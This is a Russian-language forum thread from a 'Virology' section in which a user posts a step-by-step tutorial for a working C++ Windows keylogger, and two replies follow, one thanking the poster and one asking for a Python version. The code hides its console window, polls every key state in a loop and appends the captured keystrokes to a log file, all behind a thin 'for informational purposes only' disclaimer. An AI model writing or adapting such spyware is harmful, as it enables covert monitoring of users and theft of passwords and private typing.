Загрузка...

Кейлогер на С++

Тема в разделе Вирусология создана пользователем ssdieccusi 21 май 2020. 502 просмотра

  1. ssdieccusi
    ssdieccusi Автор темы 21 май 2020 Заблокирован(а) 213 29 янв 2020
    Вся представленная информация несёт лишь ознакомительный характер и не призывает Вас к действиям нарушающим закон!
    Кейлогер/кейлоггер- программное обеспечение или аппаратное устройство, регистрирующее различные действия пользователя- нажатия клавиш на клавиатуре компьютера, движения и нажатия клавиш мыши и т. д.

    Начнём!
    Инклудим библиотеки и включаем пространство имен std:

    Код
    #include <iostream>

    #include <Windows.h>

    using namespace std;
    Пишем протип функции для сохранения нажатых клавиш в файл:

    Код
    int save(int _key, char *file);
    Пишем функцию main(), в которой будем получать клавиши, которые нажимает юзер:
    Код
    int main() {
    FreeConsole();
    char i;
    while (true) {
    Sleep(10);
    for (i = 8; i <= 255; i++) {
    if (GetAsyncKeyState(i) == -32767) {
    save(i, "log.txt");
    }
    }
    }
    return 0;
    }
    Далее пишем функцию save(), которой сохраняем клавиши в файл, в зависимости от defino`в в windows.h. Сохранять можно так-же и через потоки ввода-вывода файлов:
    Код
    int save(int _key, char *file) {

    cout << _key << endl;

    Sleep(10);

    FILE *OUTPUT_FILE;

    OUTPUT_FILE = fopen(file, "a+");


    if (_key == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");

    else if (_key == VK_BACK)

    fprintf(OUTPUT_FILE, "%s", "[BACK]");

    else if (_key == VK_LBUTTON)

    fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");

    else if (_key == VK_RETURN)

    fprintf(OUTPUT_FILE, "%s", "[RETURN]\n");

    else if (_key == VK_ESCAPE)

    fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");

    else

    fprintf(OUTPUT_FILE, "%s", &_key);

    fclose(OUTPUT_FILE);

    return 0;

    }
    Готово)
    Можете не благодарить)
     
  2. AlexFoxy_inactive3226184
    AlexFoxy_inactive3226184 28 май 2020 Заблокирован(а) 5 29 апр 2020
    Спасибочки:finger_up::BrainCosmic:
     
  3. JakeMorton
    JakeMorton 31 май 2020 Криптокрыса 29 27 янв 2019
    Подскажите нет подобного на питоне?
     
Загрузка...
Top